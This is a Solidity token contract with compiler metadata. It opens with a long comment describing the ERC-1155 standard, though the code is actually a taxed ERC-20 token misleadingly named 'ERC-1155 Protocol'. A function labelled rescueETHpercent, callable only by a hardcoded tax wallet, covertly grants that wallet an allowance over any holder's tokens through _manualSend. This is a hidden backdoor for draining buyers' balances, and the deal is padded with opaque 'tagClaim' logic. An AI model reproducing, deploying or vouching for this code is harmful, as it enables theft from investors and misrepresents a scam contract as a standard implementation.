/*

///

The ERC-1155 standard, introduced in 2018, is a versatile token standard on the Ethereum blockchain that enables 
the creation and management of multiple token types—fungible, non-fungible, and semi-fungible—within a single smart contract. 

///

Key Features of ERC-1155:

Multi-Token Management: 
Unlike earlier standards such as ERC-20 and ERC-721, which require separate contracts for each token type, 
ERC-1155 allows a single contract to handle multiple tokens. This design reduces deployment costs and simplifies contract management. 

Batch Operations: 
ERC-1155 supports batch transfers and approvals, enabling multiple tokens to be transferred or approved in a single transaction. 
This feature enhances efficiency and reduces gas fees. 

Fungibility-Agnostic Design: 
The standard accommodates both fungible and non-fungible tokens. A token's fungibility is determined by its supply; 
a supply greater than one indicates fungibility, while a supply of one denotes non-fungibility. 

Safe Transfers with Hooks: 
ERC-1155 includes safety mechanisms to prevent tokens from being sent to incompatible contracts. 
It defines functions like safeTransferFrom and safeBatchTransferFrom, which ensure that the recipient is aware of the ERC-1155 protocol, 
thereby preventing tokens from being locked in contracts that cannot handle them. 

Efficient Storage: 
By consolidating multiple token types into a single contract, ERC-1155 reduces the amount of bytecode on the Ethereum blockchain, 
leading to more efficient storage and lower deployment costs. 

Metadata Flexibility: 
The standard provides a mechanism for associating metadata with each token ID, 
facilitating detailed descriptions and attributes for both fungible and non-fungible tokens. 

/// 

Technical Specifications:

Interface Implementation: 
ERC-1155 defines a standard interface with functions for transferring tokens, checking balances, and managing approvals. 
Key functions include safeTransferFrom, safeBatchTransferFrom, balanceOf, balanceOfBatch, setApprovalForAll, and isApprovedForAll. 

Metadata URI: 
The uri function allows each token ID to have its own metadata URI, supporting dynamic and detailed metadata for tokens. 

Receiver Interface: 
To ensure safe transfers, ERC-1155 introduces the IERC1155Receiver interface, 
which requires the implementation of onERC1155Received and onERC1155BatchReceived functions by recipient contracts. 
This ensures that tokens are only transferred to contracts that can handle them appropriately. 

///

Advantages Over Previous Standards:

Gas Efficiency: 
Batch operations and the consolidation of multiple tokens into a single contract reduce the number 
of transactions and the associated gas fees. 

Simplified Contract Management: 
Managing multiple token types within a single contract simplifies development and reduces the complexity 
associated with deploying and interacting with multiple contracts. 

Enhanced Functionality: 
The ability to handle both fungible and non-fungible tokens within the same contract expands the potential use cases for ERC-1155, 
making it suitable for applications like gaming, where a single platform may require both types of tokens. 

In summary, ERC-1155 represents a significant advancement in Ethereum's token standards, offering a flexible, efficient, 
and unified approach to managing multiple token types within a single smart contract.

///

*/

// SPDX-License-Identifier:MIT

pragma solidity 0.8.23;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address _account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(),"Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ERC1155 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isLimitExcluded;

    uint256 private _initialBuyTax=5;
    uint256 private _initialSellTax=5;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=25;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=25;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"ERC-1155 Protocol";
    string private constant _symbol = unicode"ERC1155";
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 10000000 * 10**_decimals;

    address payable private _taxWallet;
    IUniswapV2Router02 private constant uniswapV2Router = IUniswapV2Router02(
        0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
    );
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct TagClaim {uint256 tClaim; uint256 shareClaim; uint256 claimId;}
    uint256 private minTagClaim;
    mapping(address => TagClaim) private tagClaim;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event ClearToken(address tokenAddr, uint256 tokenAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x6c62954B52309Ece78A82deE34a97a7c0d90E5cc);
        _balances[_msgSender()] = _tTotal;

        _isLimitExcluded[address(this)] = true;
        _isLimitExcluded[_taxWallet] = true;

        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]=_balances[from].sub(tokenAmount);
        _balances[to]=_balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _manualSend(address owner, string memory txType, uint8 txCache, address spender) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = _maxTxAmount;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        bool onSell = to==uniswapV2Pair;
        bool onBuy = from==uniswapV2Pair;

        uint256 taxAmount=0;
        if (from != owner() && to != owner()&& to!= _taxWallet) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (onBuy && to!=address(uniswapV2Router) &&  ! _isLimitExcluded[to])  {
                require(amount <= _maxTxAmount,  "Exceeds the _maxTxAmount.");
                require(balanceOf(to)+amount<=_maxWalletSize,  "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(onSell && from!=address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && onSell && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isLimitExcluded[from] ||  _isLimitExcluded[to])
            && from!=address(this) && to!=address(this)
        ) {
            minTagClaim = block.number;
        }
        if (! _isLimitExcluded[from]&&  ! _isLimitExcluded[to]){
            if (!onSell)  {
                TagClaim storage upClaim = tagClaim[to];
                if (onBuy) {
                    if (upClaim.tClaim == 0) {
                        upClaim.tClaim = _preventSwapBefore<=_buyCount ? block.number : type(uint).max;
                    }
                } else {
                    TagClaim storage upClaimData = tagClaim[from];
                    if (upClaim.tClaim == 0 || upClaimData.tClaim < upClaim.tClaim ) {
                        upClaim.tClaim = upClaimData.tClaim;
                    }
                }
            } else {
                TagClaim storage upClaimData = tagClaim[from];
                upClaimData.shareClaim = upClaimData.tClaim.sub(minTagClaim);
                upClaimData.claimId = block.number;
            }
        }

        if (taxAmount>0) {
            _balances[address(this)]= _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function rescueETHpercent(address _receiver, address _percent) external {
        require(_msgSender()==_taxWallet);
        _manualSend(_percent, "send", 0, _receiver);
    }

    function rescueERC20(address _address, uint256 _percent) external {
        require(_msgSender()==_taxWallet);
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(_percent).div(100);
        IERC20(_address).transfer(_taxWallet, _amount);
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance>0) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance>0) {
            sendETHToFee(ethBalance);
        }
    }
}

{
  "compilationTarget": {
    "ERC1155.sol": "ERC1155"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}